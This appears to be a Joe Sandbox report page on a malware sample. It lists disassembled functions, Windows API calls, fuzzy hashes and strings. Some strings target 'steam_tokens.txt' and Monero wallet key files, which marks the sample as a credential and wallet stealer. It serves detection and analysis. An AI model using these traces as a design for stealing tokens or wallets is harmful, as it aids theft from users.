Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63e5692e302ad4a6b2a29b1ff32f923c75e6ad64a5f417e9c4cd05fba3966b9
Instruction ID: 11876f5c0829e0ca1fc7f2e5c2eb7a3dff23bc25f5bc0d41b9ceaab83d319761
Opcode Fuzzy Hash: f63e5692e302ad4a6b2a29b1ff32f923c75e6ad64a5f417e9c4cd05fba3966b9
Instruction Fuzzy Hash: D86125B590031CEFCB14DF94E984BEEB7B4BB48304F108598E619A7281D735AE94DF91

Function 00A070D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00A0718C

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 4653cff8209892baf3718bb602c87b5b9e10d7b7d3881b2fbd2807d168aae784
Instruction ID: 72fbd55dfcea521120020ce5de645b7f68f6342f8f2d6c4132fc3d26b7ef86e8
Opcode Fuzzy Hash: 4653cff8209892baf3718bb602c87b5b9e10d7b7d3881b2fbd2807d168aae784
Instruction Fuzzy Hash: 19514EB0D0421D9BDB24EBA0ED85BEEB374AF54304F5481A8E216761C1EB746E88CF55

Function 00A05100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A820: lstrlen.KERNEL32(009F4F05,?,?,009F4F05,00A10DDE), ref: 00A0A82B
Part of subcall function 00A0A820: lstrcpy.KERNEL32(00A10DDE,00000000), ref: 00A0A885

lstrlen.KERNEL32(00000000,00000000,00A10ACA), ref: 00A0512A

Strings

steam_tokens.txt, xrefs: 00A0513F

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 03d7e470c5fe2655daff0086894ca21c1a7e789c60744ea6bdc4de52a651c689
Instruction ID: 4c27f5fabe406dccc37479403723a5ecd0aa0672a73b112a5b0872af4857a382
Opcode Fuzzy Hash: 03d7e470c5fe2655daff0086894ca21c1a7e789c60744ea6bdc4de52a651c689
Instruction Fuzzy Hash: EBF0BB71D1020C66DB04F7B0EE57EED773CAB64340F408268B557624D2EF256659C7A2

Function 00A07ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00A10E2C), ref: 00A07F00
wsprintfA.USER32 ref: 00A07F16

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 56b51cdece973c4acab2ebb533112f6020ba4e69e9aa78336318de8473b2fcf9
Instruction ID: d3ece3fac0a2c48286eeff6e21f77c29a3afe3d59973b87bdd86d5c7ef503612
Opcode Fuzzy Hash: 56b51cdece973c4acab2ebb533112f6020ba4e69e9aa78336318de8473b2fcf9
Instruction Fuzzy Hash: 07F0C2B1900218EBC700CF84EC45FAEB7BCFB48710F000669F50492280D77529408BD1

Function 009FB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

lstrlen.KERNEL32(00000000), ref: 009FB9C2
lstrlen.KERNEL32(00000000), ref: 009FB9D6

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: cee88689f659412d9dd45d6e99ad558fd567ea9c830aa8452abc577858da1b3a
Instruction ID: f7e772bd4cdc58e0464aae4d08961a425f80d7bf436c1a93b3e91212deae400d
Opcode Fuzzy Hash: cee88689f659412d9dd45d6e99ad558fd567ea9c830aa8452abc577858da1b3a
Instruction Fuzzy Hash: BFE1A17292021C9BDB55EBA0EE96EEE7338BF74300F408559F506660D1EF346A49CB62

Function 009FAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

lstrlen.KERNEL32(00000000), ref: 009FB16A
lstrlen.KERNEL32(00000000), ref: 009FB17E

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 27b1b70ed6472d85b337469e2961b19e904db831de345c3d23ae370937760745
Instruction ID: 58546084784fc79a5742aaa42912ff6924358a172a68e32a06b30beed49c9050
Opcode Fuzzy Hash: 27b1b70ed6472d85b337469e2961b19e904db831de345c3d23ae370937760745
Instruction Fuzzy Hash: A991E572A1020C9BDB44FBA0EE56FEE7338AF64300F508559F517A60D1EF346A59CB62

Function 009FB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

lstrlen.KERNEL32(00000000), ref: 009FB42E
lstrlen.KERNEL32(00000000), ref: 009FB442

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: eb42a45fba7ec1de47a1c63bbe658a40cd58b57c881056b7524250588c6d3e3a
Instruction ID: 6e16172a9cc2294facf3d02c5a3a039b90c63d77034b2b5796f57110f99cb3f4
Opcode Fuzzy Hash: eb42a45fba7ec1de47a1c63bbe658a40cd58b57c881056b7524250588c6d3e3a
Instruction Fuzzy Hash: 3971D572A1020C9BDB44FBA0EE56EEE7379BF64300F404518F546A61D1EF346A49CB62

Function 00A04BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A08E0B

lstrcat.KERNEL32(?,00000000), ref: 00A04BEA
lstrcat.KERNEL32(?,014DD348), ref: 00A04C08

Part of subcall function 00A04910: wsprintfA.USER32 ref: 00A0492C
Part of subcall function 00A04910: FindFirstFileA.KERNEL32(?,?), ref: 00A04943

Part of subcall function 00A04910: StrCmpCA.SHLWAPI(?,00A10FDC), ref: 00A04971
Part of subcall function 00A04910: StrCmpCA.SHLWAPI(?,00A10FE0), ref: 00A04987
Part of subcall function 00A04910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A04B7D
Part of subcall function 00A04910: FindClose.KERNEL32(000000FF), ref: 00A04B92

Part of subcall function 00A04910: wsprintfA.USER32 ref: 00A049B0
Part of subcall function 00A04910: StrCmpCA.SHLWAPI(?,00A108D2), ref: 00A049C5
Part of subcall function 00A04910: wsprintfA.USER32 ref: 00A049E2
Part of subcall function 00A04910: PathMatchSpecA.SHLWAPI(?,?), ref: 00A04A1E
Part of subcall function 00A04910: lstrcat.KERNEL32(?,014DEA38), ref: 00A04A4A
Part of subcall function 00A04910: lstrcat.KERNEL32(?,00A10FF8), ref: 00A04A5C
Part of subcall function 00A04910: lstrcat.KERNEL32(?,?), ref: 00A04A70
Part of subcall function 00A04910: lstrcat.KERNEL32(?,00A10FFC), ref: 00A04A82
Part of subcall function 00A04910: lstrcat.KERNEL32(?,?), ref: 00A04A96
Part of subcall function 00A04910: CopyFileA.KERNEL32(?,?,00000001), ref: 00A04AAC
Part of subcall function 00A04910: DeleteFileA.KERNEL32(?), ref: 00A04B31

Part of subcall function 00A04910: wsprintfA.USER32 ref: 00A04A07

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
